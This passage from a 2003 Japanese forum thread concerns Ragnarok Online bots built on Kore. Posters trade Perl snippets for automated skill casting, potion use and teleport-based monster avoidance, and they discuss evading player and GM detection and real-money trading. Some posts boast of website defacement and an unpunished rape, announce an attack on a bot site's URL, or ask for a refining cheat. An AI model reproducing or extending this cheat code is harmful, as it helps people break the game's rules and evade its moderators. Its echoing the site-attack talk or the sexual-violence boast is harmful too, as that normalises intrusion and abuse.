$flg = 1 if(grep($players{$_}->{'name'} eq $targ_name, @playersID));

if($flg and ($start_status{'str_bonus'} == $chars[$config{'char'}]->{'str_bonus'}
or $start_status{'int_bonus'} == $chars[$config{'char'}]->{'int_bonus'}
or $start_status{'dex_bonus'} == $chars[$config{'char'}]->{'dex_bonus'})
and time() > $last_demand + 10) {
sleep(1);
aiRemove("move");
aiRemove("route");
aiRemove("route_getRoute");
aiRemove("route_getMapRoute");
print "Stopped movement\n";
sendMessage(\$remote_socket, "c", $target_string[rand(scalar @target_string)]);
$last_demand = time();
}
}
833ネトゲ廃人@名無し:03/09/12 12:37 ID:???
オープンチャットで声を掛け合って支援を維持するコード。
実験段階で稼動させていたら10分ほどで「BOT?」と疑われたいわく付き。
送信部は消滅していたので即席で掘り起こしたので動作保証なし。
しかも実験段階で廃止したから全体のデバックもほとんどしてない。
さらに現在は支援を掛ける側で維持が可能なので実用性皆無。

ってわけで605氏 今までありがとう。あなたの趣味コードは好きでした。 んで3梅
834ネトゲ廃人@名無し:03/09/12 12:52 ID:???
if ($ai_seq[0] ne "skill_use") {
$i = 0;
undef $ai_v{'useFollow_skill'};
while(1){
last if (!$config{"useFollow_skill_$i"});
if ((!$config{"useFollow_skill_$i"."_target"} || $config{"useFollow_skill_".$i."_target"} eq $players{$ID}{'name'})
&& distance(\%{$chars[$config{'char'}]{'pos_to'}}, \%{$players{$ID}{'pos_to'}} <= $config{"useFollor_skill_$i"."_distance"})
&& percent_sp(\%{$chars[$config{'char'}]}) >= $config{"useFollow_skill_$i"."_sp_lower"}
&& timeOut($config{"useFollow_skill_$i"."_timeout"}, $ai_v{"useFollow_skill_$i"."_time"})
&& (!$config{"useFollow_skill_$i"."_lockMap"} || ($config{"useFollow_skill_$i"."_lockMap"} && $config{'lockMap'} eq $field{'name'}))
){
if ($ai_seq[0] eq "attack"){
sendAttackStop(\$remote_socket);
sleep(1);
}
$ai_v{"useFollow_skill_$i"."_time"} = time;
if (!ai_getSkillUseType($skills_rlut{lc($ai_v{'useFollow_skill'})})) {
ai_skillUse($chars[$config{'char'}]{'skills'}{$skills_rlut{lc($config{"useFollow_skill_$i"})}}{'ID'}, 10, 0, 0, $ID);
} else {
ai_skillUse($chars[$config{'char'}]{'skills'}{$skills_rlut{lc($config{"useFollow_skill_$i"})}}{'ID'}, 10, 0, 0, $players{$ID}{'pos_to'}{'x'}, $players{$ID}{'pos_to'}{'y'});
}
last;
}
$i++;
}

}
835834:03/09/12 12:56 ID:???
>>833
>実験段階で稼動させていたら10分ほどで「BOT?」と疑われたいわく付き。
カナリワロタ

漏れも簡易辻支援スキル
キャラ移動情報パケに潜り込ませれば実行でける。configは割愛ってことで。
当初「友達?」と一度WISもらった疑惑モノ
ブレ10・速度増加10を支援すれば効率2割増しってとこかな?設定次第では
無差別辻プリになれまっせ

ということで、2梅
836ネトゲ廃人@名無し:03/09/12 13:11 ID:???
だんだん近くなってきたね
あと150ほど
837ネトゲ廃人@名無し:03/09/12 13:19 ID:???
どうでもいいことなんだが、ここでコード晒すのと罠がどうのと何の関係があるんだろう
どうでもいいことなんだからどうでもいいか。

605氏のコードを使っておりました。ありがとう。またどこかで。
ウ(´ω`)ゞメ
838ネトゲ廃人@名無し:03/09/12 14:06 ID:???
ところでみんなどうやってコード追加してる?
俺は全部別ファイルに書いて、一番上でrequire
元コードを書き換え or 置き換えの時はその部分をコメントアウトして
変更後のコードをサブルーチンとして呼んでたりするのだが・・・
839ネトゲ廃人@名無し:03/09/12 14:12 ID:???
>>838
うちは直書き
サブルーチンは末尾に追加するようにしてる
で、Soloタン見習って、追加・変更部分にはサインを残すようにってとこかな。
840ネトゲ廃人@名無し:03/09/12 14:48 ID:???
>>838,839
・・・意見交換は流れに逆らってねぇか?
そうでもないのか・・・駄レススマソ

産め!
841ネトゲ廃人@名無し:03/09/12 14:53 ID:???
RO店のコード内でここに速度Pコードいれてぇなぁって書いてたので梅ついでに。

sub dopingPosionUse {
my $iIndex;

if (($concentFlag == 0) && ($rouseFlag == 0) && ($lunacyFlag == 0) && ($config{'useDopingPosion'} ne "")) {
#指定ポーションの現在取得アイテム番号を検索
$iIndex = findIndexString_lc(\@{$chars[$config{'char'}]{'inventory'}}, "name", $config{'useDopingPosion'});
if ($iIndex ne ""
&& ($chars[$config{'char'}]{'inventory'}[$iIndex]{'nameID'}==645
|| $chars[$config{'char'}]{'inventory'}[$iIndex]{'nameID'}==656
|| $chars[$config{'char'}]{'inventory'}[$iIndex]{'nameID'}==657)
&& $field{'name'} eq $config{'lockMap'}
&& timeOut(\%{$timeout{'ai_item_use_auto'}})) {
#指定ポーションを取得中で且つ指定LockMapに居る場合のみ使用
sendItemUse(\$remote_socket, $chars[$config{'char'}]{'inventory'}[$iIndex]{'index'}, $accountID);
print "Doping-Posion Use: $items_lut{$chars[$config{'char'}]{'inventory'}[$iIndex]{'nameID'}}\n";
$usePosionTime = time;
$timeout{'ai_item_use_auto'}{'time'} = time;
}
}
}
842ネトゲ廃人@名無し:03/09/12 14:53 ID:???
>>840
大して有益でもないから別にいいかなぁと思ったんだけど・・・・
どっちなんだろ?(゚∀。)?<ウメー
843ネトゲ廃人@名無し:03/09/12 14:54 ID:2o6vALZU

こいつ呼んで。
後各フラグを#0196で切り替えるのと、各フラグと$usePosionTimeをマップ移動のタイミングででも初期化してくれ。

おまけで

my $pottime;
$pottime = 1800 - int(time - $usePosionTime);
if ($concentFlag == 1) {
print "集中のポーション($pottime)\n";
} elsif ($rouseFlag == 1) {
print "覚醒のポーション($pottime)\n";
} elsif ($lunacyFlag == 1) {
print "狂気のポーション($pottime)\n";
}
print"----------------------------\n";
これを"s"の下にでも。

って事で2梅っと。
844ネトゲ廃人@名無し:03/09/12 14:58 ID:???
|ω・)・・・コソットネ

if ($ai_seq[0] eq "attack"){
sendAttackStop(\$remote_socket);
sleep(1);
}

ウメ
845ネトゲ廃人@名無し:03/09/12 14:58 ID:???
すまねぇ。下げ忘れ。。なれない事するもんじゃないね。
846844:03/09/12 14:59 ID:???
|凵M)アゲチャイヤン バカン

847ネトゲ廃人@名無し:03/09/12 15:12 ID:j6VxcYJt
  _、_       そ
 ( く_,` )     n て
 ̄    \   ( E)   癌ばってます
フ  禿 /ヽ ヽ_//
848ネトゲ廃人@名無し:03/09/12 15:13 ID:???
終わったかな・・・

とりあえず、隠し梅
849ネトゲ廃人@名無し:03/09/12 15:17 ID:???
RO店で売り切れるとまたログインしたてみたいな感じで売ってくれる機能プリーズ
一回売れきれると開いてくれないからKore終了してまた起動しないといけないし
外出する時は一機に並べないといけなくなる

相場安定のためにも誰かお願い・・・
850ネトゲ廃人@名無し:03/09/12 15:20 ID:???
Solo様に愛を込めて

if (($old_pos_from_x == $pos_x) && ($old_pos_from_y == $pos_y)) {

851ネトゲ廃人@名無し:03/09/12 15:52 ID:???
  _、_       そ
 ( く_,` )     n て
 ̄    \   ( E)   癌ばってます
フ  禿 /ヽ ヽ_//
852ネトゲ廃人@名無し:03/09/12 16:13 ID:???
>>843
オイオイ・・・サイアクだなオマエ
853ネトゲ廃人@名無し:03/09/12 16:18 ID:???
マターリ見守ってたが>>843に相当ムカついてきた
お前、リアルでもそうやって上司や友達から嫌われてんだろうな
854ネトゲ廃人@名無し:03/09/12 16:24 ID:???
UMEEEEEEE
855ネトゲ廃人@名無し:03/09/12 16:29 ID:???
  _、_       そ
 ( く_,` )     n て
 ̄    \   ( E)   梅作業も癌ばってます
フ  禿 /ヽ ヽ_//
856ネトゲ廃人@名無し:03/09/12 16:31 ID:???
はいはい
もう終了だね

埋めっと
857ネトゲ廃人@名無し:03/09/12 16:35 ID:???
残念なことだが
別に気にせずママーリと終焉を迎えればイインジャネ?

>>843はもう・・・故意か?と言いたいな
858ネトゲ廃人@名無し:03/09/12 16:41 ID:???
実用性あるの書いちゃイカンよ・・・
ってことであってるよな?

ウメーるために無駄なことをカキカキ
859ネトゲ廃人@名無し:03/09/12 16:42 ID:???
って問題はageか(汗

まぁ勘違いしたけど埋まったからよしとしておこう
860ネトゲ廃人@名無し:03/09/12 16:43 ID:???
何で終わりになるのか分からんぞ・・・汗

もしかしてあそこで?
861ネトゲ廃人@名無し:03/09/12 16:45 ID:???
そして癌呆タンが一所懸命にageと入れてるわけだがな・・・
梅生め膿め埋め
862ネトゲ廃人@名無し:03/09/12 16:46 ID:???
>>860
すまんがもうちょい補足願えるか?

といいつつ楳♪
863ネトゲ廃人@名無し:03/09/12 16:47 ID:???
>>862
さすがにそのうめは読めないだろう
といいつつ楳
864ネトゲ廃人@名無し:03/09/12 16:53 ID:???
>>861
  _、_       そ
 ( く_,` )     n て
 ̄    \   ( E)   応援ありがとうございます
フ  禿 /ヽ ヽ_//
865ネトゲ廃人@名無し:03/09/12 16:55 ID:???
気にせずに〜♪っと

ウメ(・ω・)ウメ
866841,843,845:03/09/12 17:19 ID:???
>ALL
猿でごめん。

俺は居なかった事にして梅加速してください(´・ω・`)
867ネトゲ廃人@名無し:03/09/12 17:23 ID:???
  _、_       そ
 ( く_,` )     n て
 ̄    \   ( E)   今月の課金もよろしくお願いします
フ  禿 /ヽ ヽ_//

868ネトゲ廃人@名無し:03/09/12 17:36 ID:H/dh3hXD
これでも荒らし界のネ申でしたので。
サイト改ざんまでした事あるけど捕まらなかった。
知り合いが鯖関係者なんでね。色々情報変えてくれたんだよ。
ネットで出会った女、犯したけど捕まらなかった。
BOT配布ごときで捕まることはないでしょう。

俺に文句言いたけりゃ生で来てくれ。
お前等に俺を叩く権利ないって事で削除&そのIPは規制(プ

http://www.geocities.co.jp/SiliconValley-PaloAlto/4733/
869ネトゲ廃人@名無し:03/09/12 17:39 ID:???
ちょっと埋め停止 かな
870ネトゲ廃人@名無し:03/09/12 17:55 ID:???
@とりあえず何故終焉ムードなのか?  @
@とりあえず605氏はどうした?     @
@とりあえず次スレはどうなったのか? @
871ネトゲ廃人@名無し:03/09/12 18:11 ID:???
もうする事がないから終焉ムード。 @
605氏はそれに嫌気が刺して去った。@
とりあえず次スレはたたない。   @
872ネトゲ廃人@名無し:03/09/12 18:11 ID:???
>>870
>@とりあえず何故終焉ムードなのか?  @
ラグナロクの運営をあきらめて、10月いっぱいで終わるから

>@とりあえず605氏はどうした?     @
実用コードが浮かばなくて絶命。

>@とりあえず次スレはどうなったのか? @
とりあえず、次スレは立てない方針で。
873ネトゲ廃人@名無し:03/09/12 18:20 ID:???
もう大半のネタが出尽くした
残りは趣味&ネタコード
そういうのは必要ない 消えろってことらしい
ってわけで消え&次スレはなし
874ネトゲ廃人@名無し:03/09/12 19:42 ID:???
まー、初心者スレに統合でいいんじゃない?
最初は1スレしかなかったわけで。
875ネトゲ廃人@名無し:03/09/12 19:45 ID:???
*****************
*・〜が〜匹以上きたので回避します。*
*                        *
*・RO店の鯖キャン対策          *
******************
876ネトゲ廃人@名無し:03/09/12 19:54 ID:???
    |┃三             _________
    |┃              /
    |┃ ≡    _、_   < 話は全部聞かせて貰ったぞ!
____.|ミ\___( <_,` ) _ \
    |┃=___    \    ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    |┃ ≡   ) 癌 人 \ ガラッ
877EEEE:03/09/12 20:13 ID:???
■罠無■BOT配布所■ ★★★ are以外のkore ★★★

これでも荒らし界のネ申でしたので。
サイト改ざんまでした事あるけど捕まらなかった。
知り合いが鯖関係者なんでね。色々情報変えてくれたんだよ。
ネットで出会った女、犯したけど捕まらなかった。
BOT配布ごときで捕まることはないでしょう。

俺に文句言いたけりゃ生で来てくれ。
お前等に俺を叩く権利ないって事で削除&そのIPは規制(プ

ttp://www.geocities.co.jp/SiliconValley-PaloAlto/4733/
878ネトゲ廃人@名無し:03/09/12 20:16 ID:???
:::::::::::/           ヽ::::::::::::
:::::::::::|  ば  じ  き  i::::::::::::
:::::::::::.ゝ か   つ   み  ノ:::::::::::
:::::::::::/  だ  に  は イ:::::::::::::
:::::  |  な。       ゙i  ::::::
   \_         ,,-'
――--、..,ヽ__  _,,-''
:::::::,-‐、,‐、ヽ. )ノ      _,,...-
:::::_|/ 。|。ヽ|-i、      ∠_:::::::::
/. ` ' ● ' ニ 、     ,-、ヽ|:::::::::
ニ __l___ノ     |・ | |, -、::
/ ̄ _  | i     ゚r ー'  6 |::
|( ̄`'  )/ / ,..    i     '-
`ー---―' / '(__ )   ヽ 、
====( i)==::::/      ,/ニニニ
:/     ヽ:::i       /;;;;;;;;;;;;;;;;
879ネトゲ廃人@名無し:03/09/12 20:24 ID:???
>>877
神キターーーーーーーーーーーーーーーーーーーーーーー
880ネトゲ廃人@名無し:03/09/12 20:28 ID:???
スタックした記録を残したいんだけど、チャットに残す方法教えて
881ネトゲ廃人@名無し:03/09/12 20:29 ID:???
******************
*・〜が〜匹以上きたので回避します。 *
*                        *
*・RO店の鯖キャン対策          *
******************
882EEEE:03/09/12 21:06 ID:???
↓↓↓↓↓ ミジンコ、鳩専用 ↓↓↓↓↓

■罠無BOT■無料配布■
http://www.geocities.co.jp/SiliconValley-PaloAlto/4733/

■ミジンコ鳩専用掲示板■
http://jbbs.shitaraba.com/computer/8513/

↑↑↑↑↑ ミジンコ、鳩専用 ↑↑↑↑↑
883ネトゲ廃人@名無し:03/09/12 22:20 ID:???

******************
*・〜が〜匹以上きたので回避します。 *
*                        *
*・RO店の鯖キャン対策          *
******************

コードキヴォン
884ネトゲ廃人@名無し:03/09/12 22:24 ID:???
>>872,873
設置系スキル回避って実用的じゃないんだろうか・・・・
885ネトゲ廃人@名無し:03/09/12 22:31 ID:???
>>884
まあまあ
そういう人が出だしたからこうなったのですよ。
お察し下さい

EEEEってのもわざわざこんなとこまで出っ張らんでヨロシ
マターリ終わらせるのが流れに沿ってるでしょ

ということで埋め
886ネトゲ廃人@名無し:03/09/12 22:39 ID:???
あっとスマン。
ちょっと考えれば、さすがに本人じゃないか
申し訳ないm(_ _)m

埋め
887ネトゲ廃人@名無し:03/09/12 22:40 ID:???
******************
*・〜が〜匹以上きたので回避します。 *
*                        *
*・RO店の鯖キャン対策          *
******************

コードキヴォン
888ネトゲ廃人@名無し:03/09/12 22:43 ID:???
一人のageが原因とは思わんが、こうなってしまったねぇ
605氏へのお疲れ様の意味も込めてマターリ終わって欲しかったけど、そうもいかんね

風情が無いというか・・・粋じゃねえなぁ
605氏、オツ!

埋め埋めっと
889ネトゲ廃人@名無し:03/09/12 22:47 ID:???
ちょいと

誰か今までの歴史を簡潔にまとめつつ埋めてくれる古参はいないのかね?
たのむよ
890ネトゲ廃人@名無し:03/09/12 23:04 ID:???
>>889

1192
いい国創ろうキャバクラ幕府

1999
MMR

2003
世界陸上織田信長

('A`)ノこんなんでいいか?
891ネトゲ廃人@名無し:03/09/12 23:48 ID:???
>>890
つまらん!

お前の話はつまらん!
892ネトゲ廃人@名無し:03/09/12 23:57 ID:???
******************
*・〜が〜匹以上きたので回避します。 *
*                        *
*・RO店の鯖キャン対策          *
******************

コードキヴォン
893ネトゲ廃人@名無し:03/09/12 23:58 ID:???
>>889

03 8/19 暗号化
03 9/18 世界滅亡

こんな感じか
894ネトゲ廃人@名無し:03/09/13 00:04 ID:???
>>890
十分です。寧ろこれ以上何も望まない
895ネトゲ廃人@名無し:03/09/13 00:05 ID:???
>>889

133
286
605

これでどう?
896ネトゲ廃人@名無し:03/09/13 00:14 ID:???
286だけはカンベンしてくれ
ムカムカするから
897ネトゲ廃人@名無し:03/09/13 00:18 ID:???
ああ、ちなみに、286が晒したと思われてるdllは遥か前にツールスレにて
BASE64で貼られてたけどな。177氏が解読に困ってるときにな。

286なんざただのパクリ屋だろ?
898ネトゲ廃人@名無し:03/09/13 00:31 ID:???
露店BOTで鯖キャン後に露店を開きなおさない現象の応急処置としてこれをしてくれ。

・バッチファイルによる強制再起動
まず本体をこう書き換える。
-------------------------------------------------------
} elsif ($conState == 4 && timeOut(\%{$timeout{'maplogin'}})) {
+quit();
print "Timeout on Map Server, connecting to Master Server...\n";
-------------------------------------------------------
} elsif ($conState == 5 && timeOut(\%{$timeout{'play'}})) {
+quit();
print "Timeout on Map Server, connecting to Master Server...\n";

で、メモ帳を開き、(ファイル名は何でも良い。autorun.txt)中身にこういう文章を100行くらい書き込む。
perl Kore.pl
(※perl 〜の 〜のファイル名はBOT本体の名前。rKore.pl なら perl rKore.plとしろ。)
で、このファイルをKore.plと同じディレクトリに保存し、拡張子を 「.bat」と書き換える。
(拡張子の書き換え方を知らない奴は自分で調べろ。)

で、KOREを起動するときは作成したautorun.batをダブルクリック。
ちなみに応用としてはあれだ。
自動リログ機能を使う条件分岐のところにquit();を書き加えても良いかもな。
つぅわけで宜しく。
899ネトゲ廃人@名無し:03/09/13 03:09 ID:???
面白い現象発見しますたin フェンリル

伊豆D1Fのワープポイントの奥にヒドラが沸いててそいつを叩こうとして島→伊豆D→島→伊豆D
こんな感じではまってるBOT大量に発見

まぁ、自分も困るので排除しておきまつ

Boterのみんなガン(゚Д゚)ガレ!
900ネトゲ廃人@名無し:03/09/13 08:59 ID:???
んじゃポタ付近敵回避コードでも



貼るわけないけどな。埋め
901ネトゲ廃人@名無し:03/09/13 09:19 ID:???
まあそういわずに貼ってやれよ
Д゚)ノ ポイ
undef $m_plDist;
for ($i = 0; $i < @portalsID; $i++) {
next if ($portalsID[$i] eq "");
$m_PoDist = distance(\%{$portals{$portalsID[$i]}{'pos'}}, \%{$monsters{$ai_v{'temp'}{'foundID'}}{'pos'}});
if ($m_PoDist <= 5) {
ウフン
}
}
しかし、本家は何でポタ回避付けないんだろうなぁ。
コンセプトがわからん
902ネトゲ廃人@名無し:03/09/13 09:40 ID:???
粘着くんが少ないんだよ
GMもな
903ネトゲ廃人@名無し:03/09/13 09:42 ID:???
>>877
スーパーハカーキター?
掲示板までハクされてる模様
904ネトゲ廃人@名無し:03/09/13 09:46 ID:???
あらら。
見事に・・・

そっちも追悼埋め
905ネトゲ廃人@名無し:03/09/13 10:03 ID:???
自作自演だろ('A`)ノ
906ネトゲ廃人@名無し:03/09/13 10:24 ID:???
サイト終わらせてあるな・・・
追悼倦め
907RO@BOT ◆tj1LchE.ZA :03/09/13 11:09 ID:???
RO@BOTは引き続きビタタキャンペン中
http://kore.sites.cc/
908ネトゲ廃人@名無し:03/09/13 11:15 ID:???
↑こいつがここを終わらせたんだよな…
こいつとあとBOT販売所とか言う奴
909BOTer撃滅運動!:03/09/13 11:22 ID:???
【RoからBOTを排除しましょう!】
方法
1・BOTを各サーバに放置する
2・1月ほどZenyを稼ぐ
3・RMTの相場の半額で現金化する
これを繰り返していただくだけで結構です。
RMTの相場の半額でZenyを現金化することにより、相場が著しく低下します。
これによって、古参BOTerの儲け(RM)を減らし、BOTerを撃滅しようという作戦です。

一時、BOTは増える状態になりますが、相場低下によるうまみが無くなるため、
結局RMT目的のBOTerは激減するはずです。

*賛同者はこれをコピペしてください*
910ネトゲ廃人@名無し:03/09/13 12:08 ID:???
RO@BOTうざ
消えて欲しい
911ネトゲ廃人@名無し:03/09/13 12:11 ID:???
248 :ネトゲ廃人@名無し :03/09/13 11:04 ID:???
DOS窓を開くのはどこでするんでしょうか?
RO@BOTさんのインストール方法を見て
ppm
install time-hires
install io-zlib
install win32-api
install http-lite
すればいいというのが分かりません・・

RO@BOTのおかげでこんなのばっか('A`)ノ
912ネトゲ廃人@名無し:03/09/13 12:31 ID:???
しつこいようですが

・〜が〜匹以上きたので回避します。
誰か、私は見逃してしまいました・・・
print "回避対象の$monsters{$_}{'name'}を$mon_control{lc($monsters{$_}{'name'})}{'teleport_auto'}体発見しますた。戦線離脱!!\n";
913ネトゲ廃人@名無し:03/09/13 12:31 ID:???
RO@BOTのおかげでこんなのばっか('A`)ノ
914ネトゲ廃人@名無し:03/09/13 12:48 ID:???
>>901
ウフンてなんだw
915ネトゲ廃人@名無し:03/09/13 12:48 ID:???
これからは質問は全て放置で行こう

わざわざ新参者を手助けする理由なんてどこにもないからな
916ネトゲ廃人@名無し:03/09/13 12:52 ID:???
>>915
きも
917ネトゲ廃人@名無し:03/09/13 13:05 ID:???
RO@BOTの管理人が消え去ればそんなことする必要ないんだけどな・・・
('A`)マンドクセ
918ネトゲ廃人@名無し:03/09/13 13:06 ID:???
>>912
foreach (@monstersID) {
if ($mon_control{lc($monsters{$_}{'name'})}{'teleport_auto'}) {
+$DangerMonsterCnt++;
+if($DangerMonsterCnt>=$mon_control{lc($monsters{$_}{'name'})}{'teleport_auto'}){
+print "回避対象の$monsters{$_}{'name'}を$mon_control{lc($monsters{$_}{'name'})}{'teleport_auto'}体発見しますた。戦線離脱!!\n";
useTeleport(1);
$ai_v{'temp'}{'search'} = 1;
last;
}
}
}
+$DangerMonsterCnt=0;
$timeout{'ai_teleport_away'}{'time'} = time;
919ネトゲ廃人@名無し:03/09/13 13:09 ID:???
>902
起動しないから、
ウフンのところにuseTeleport(1);て入れたけどやっぱ_・・・
920ネトゲ廃人@名無し:03/09/13 13:19 ID:???
>>918
Thx〜
でも起動しなくなったとさ_| ̄|○
921ネトゲ廃人@名無し:03/09/13 15:22 ID:???
やっと埋まりそうだね
ってことで梅加速
922ネトゲ廃人@名無し:03/09/13 15:24 ID:???
BOT大量に動かすとラグくならないか?
回線細いだけですかそうですか・・・光にしてぇぇぇぇ
923ネトゲ廃人@名無し:03/09/13 15:26 ID:???
回線とマシンスペック
924ネトゲ廃人@名無し:03/09/13 15:29 ID:???
925ネトゲ廃人@名無し:03/09/13 16:46 ID:IAr6HlgD
猿が埋めたててるが、中級者は書きこんだりしないな。
相場が下がって困ってる連中が騒いでいるだけみたいだな。
くだらん。
がんがん相場を下げよう。
926ネトゲ廃人@名無し:03/09/13 16:56 ID:???
>>925
騒いでるやつらは、ROをビジネスでやってるやつらだろ。
もしくはRMTやらないと課金できない貧乏人とかなwWw
927ネトゲ廃人@名無し:03/09/13 17:29 ID:???
>>911
こんなの初心者でも調べればすぐなのにな・・・・
頭悪い奴ばっかだ('A`)ノ

>>901
ウフン笑ったw
928901:03/09/13 17:41 ID:???
バレちまったか(笑
って、テクニカルでもなんでもないコードだからな。中級者in伊豆なら
入れてるだろ?

{'foundID'}を強制的に消せばイインダヨとヒントもだしつつ
とにもかくにも埋めってぇことで
929フフリ:03/09/13 20:19 ID:???
http://kore.sites.cc/
暇なんで↑攻撃やるかなっと
930ネトゲ廃人@名無し:03/09/13 21:10 ID:???
              ____
             /     \     ______________
            /    /=ヽ  \   /
           |     ・ ・   | < RO@BOT管理人うぜーぞ、オイ
           |     )●(  |   \
           \     ー   ノ     ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
           /\____/
lニニニニニl=====⊂/\__〕 ノ
            /丶2    |m;  ブィーン
           / //7ゝ〇 ノ\   ブィーン
      /   (_///⌒γノ/___) ブイーン
        /  ///  ///ノ//
      //  |/  ///◎) パラリラ
      / / /  //   パラリラ
       // V ノ
931ネトゲ廃人@名無し:03/09/13 22:07 ID:???
アンパンマンが見えてるとウザイので梅
932ネトゲ廃人@名無し:03/09/13 23:41 ID:???
>>931
漏れも同意なんで、梅
933BOT撃滅作戦!:03/09/14 00:29 ID:???
【RoからBOTを排除しましょう!】
方法
1・BOTを各サーバに放置する
2・1月ほどZenyを稼ぐ
3・RMTの相場の半額で現金化する
これを繰り返していただくだけで結構です。
RMTの相場の半額でZenyを現金化することにより、相場が著しく低下します。
これによって、古参BOTerの儲け(RM)を減らし、BOTerを撃滅しようという作戦です。

一時、BOTは増える状態になりますが、相場低下によるうまみが無くなるため、
結局RMT目的のBOTerは激減するはずです。

*賛同者はこれをコピペしてください*
*ツール使用方法がわからない方、作戦に対する質問はメールにて*
934ネトゲ廃人@名無し:03/09/14 00:45 ID:???
kore.pl
二つ機動しようとしたらline9116
とかでて機動できないのですが(;´Д`)
935ネトゲ廃人@名無し:03/09/14 00:58 ID:???
ちょっと質問。
敵を殴りに逝くときにルート計算に失敗していることが多い(特にノンアクティブ)ので、デバッグの方式を変更して詳細なログを採取してみた。
するとだ。敵を殴りに行くとき、実際は敵の居ない座標を目標地点設定して歩く事が多いんだね。
で、ATTACK部分を見てみた。
するとだ。敵の座標には、%monsterに格納されているキーpos_toの値を用いずai_v{'temp'}に保存された位置情報を用いているわけ。
で思ったことなんだけれども、そもそもai_v{'temp'}に値が格納されるタイミングはいつだよ?
このハッシュは色んなところで流動的に使われる値だから知らぬ間に値が変更されているんじゃないか?

どうなんだろ、、、これ?

あとあれだ。本家って、テレポ後に対する処理が色々と不十分な気がする。
936ネトゲ廃人@名無し:03/09/14 00:59 ID:???
まあ、梅とこ。

皆さん、もうそろそろ終焉ですぞ
マターリするもよし、ズザーするもよし、出来ればその他中級者のチョロネタコード
をもっと拝みたいですな
937ネトゲ廃人@名無し:03/09/14 01:02 ID:???
たまたまわけあってGM回避止めてたらちょうどその日に会うってどういうことだ・・・
連行はされてないがな(゚∀゚)
938ネトゲ廃人@名無し:03/09/14 01:05 ID:???
>>935
AUTO-ATTACKの件だと思うんだが、ai_v{'temp'}を使ってるのは、あくまで
{'foundID'}だろ?それって、敵から攻撃された場合・mon_controlに指定されている
敵・その他もろもろ、の攻撃IDを決定しているだけ。
攻撃しようとする敵に近づくのは、肉入りで言うと敵を攻撃するときにCTRL+左クリック
する動作と一緒なわけだから、後は鯖側の処理。
その部分は読み取りが違うと思われ。

違うかなぁ?
まあ梅っとな
939ネトゲ廃人@名無し:03/09/14 01:07 ID:???
前から思ってるんだけどさ。面白くも無いAAを延々貼る奴の頭ってどうなってるんだ?
940ネトゲ廃人@名無し:03/09/14 02:39 ID:???
not good
941ネトゲ廃人@名無し:03/09/14 02:54 ID:???
              ____
             /     \     ______________
            /    /=ヽ  \   /
           |     ・ ・   | < オラオラ、梅てやるよ
           |     )●(  |   \
           \     ー   ノ     ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
           /\____/
lニニニニニl=====⊂/\__〕 ノ
            /丶2    |m;  ブィーン
           / //7ゝ〇 ノ\   ブィーン
      /   (_///⌒γノ/___) ブイーン
        /  ///  ///ノ//
      //  |/  ///◎) パラリラ
      / / /  //   パラリラ
       // V ノ

942ネトゲ廃人@名無し:03/09/14 02:56 ID:???
(・w・)ウメウメ
943ネトゲ廃人@名無し:03/09/14 03:10 ID:???
(・w・)ウメウメ2
944ネトゲ廃人@名無し:03/09/14 03:12 ID:???
(・w・)ウメウメ3
945ネトゲ廃人@名無し:03/09/14 03:29 ID:???
(・w・)ウメウメ4
946ネトゲ廃人@名無し:03/09/14 03:48 ID:???
(・w・)ウメウメ5
947ネトゲ廃人@名無し:03/09/14 03:52 ID:???
(・w・)ウメウメ6
948ネトゲ廃人@名無し:03/09/14 04:09 ID:???
>>935
ハエ使って目の前から居なくなったキャラの処理をしてないね。
949ネトゲ廃人@名無し:03/09/14 04:39 ID:???
精錬チートのやり方教えろや梅
950ネトゲ廃人@名無し:03/09/14 04:41 ID:???
あ、次スレ立ててくる。
951ネトゲ廃人@名無し:03/09/14 05:02 ID:???
952ネトゲ廃人@名無し:03/09/14 09:24 ID:???
# タゲ被り防止
NotAttackDistance
この設定の最大値ってどれくらいですか?
953ネトゲ廃人@名無し:03/09/14 09:37 ID:???
一般的に言ってフラグは1か0だよ
954ネトゲ廃人@名無し:03/09/14 10:05 ID:???
>>935
質問と返答がずれてるかもしれんがattackDistanceの値が小さすぎなんじゃね?
攻撃の挙動については>>938ので充分だろ

なんでそんな動きするか考えて味噌
955ネトゲ廃人@名無し:03/09/14 12:38 ID:???



       サ ラ イ の 空 へ 〜 



956ネトゲ廃人@名無し:03/09/14 12:41 ID:???
この中級者スレは

ピンクレディーみたいに復活して微妙な存在になるより

ABBAみたいに二度と復活せずに伝説となってほしい
957ネトゲ廃人@名無し:03/09/14 13:22 ID:???
GungHo-ID登録したんだけどメールこない
時間かかるんだっけ?
958ネトゲ廃人@名無し:03/09/14 13:25 ID:???
登録メアド間違ってるんじゃね?
959ネトゲ廃人@名無し:03/09/14 14:47 ID:???
このスレの終焉とともにRO@BOTも終わって欲しい
960ネトゲ廃人@名無し:03/09/14 14:48 ID:???
(・w・)ウメウメ
961ネトゲ廃人@名無し:03/09/14 14:48 ID:???
成功→スルー
失敗→○○

これでいける
962961:03/09/14 14:51 ID:???
Λ||Λ
963ネトゲ廃人@名無し:03/09/14 15:04 ID:???
RO@BOTのHPって誰か通報してねーの?
マジうざいんだが・・・
964ネトゲ廃人@名無し:03/09/14 15:31 ID:???
>>953
0か1じゃねーから聞いてんだろ鳩は黙ってろ。
965ネトゲ廃人@名無し:03/09/14 15:36 ID:???
>>963
愚痴ってねぇでお前がしろよ
産め
966ネトゲ廃人@名無し:03/09/14 15:52 ID:???




  残  り  34 と  な  っ  て  き  ま  す  た  !   !   !
967ネトゲ廃人@名無し:03/09/14 15:54 ID:???
阪神の優勝が決まるのと埋め立て完了するの、早いのどっちだ!?
968ネトゲ廃人@名無し:03/09/14 16:03 ID:???
>w<うにうに
969ネトゲ廃人@名無し:03/09/14 16:21 ID:???
>>935
moveAlongVectorは?
>>948
80パケのtype2じゃないんだろうか・・・・

どっちにしろ、本家がテレポ対策が甘いのは同意
結局、これがスタックバグの正体っぽいんで
漏れは、このテレポが引き起こしてるバグを修正したらスタックではまることがなくなった
970ネトゲ廃人@名無し:03/09/14 16:36 ID:???
自分に掛ける系統のスキルでuseSelf_skill_#_timeoutを使って
かけ直ししてるんだが、どうにも時間が狂いまくってる感じがするんだよ。
スキルのON→OFF状態を時間以外で取得して
かけ直しすることって出来ないか?
971ネトゲ廃人@名無し:03/09/14 16:54 ID:???
>>605氏・・

人避けコードはもう公表無で終わりなのでしょうか?
出来れば605氏もサイト建設希望なのですが・・・。
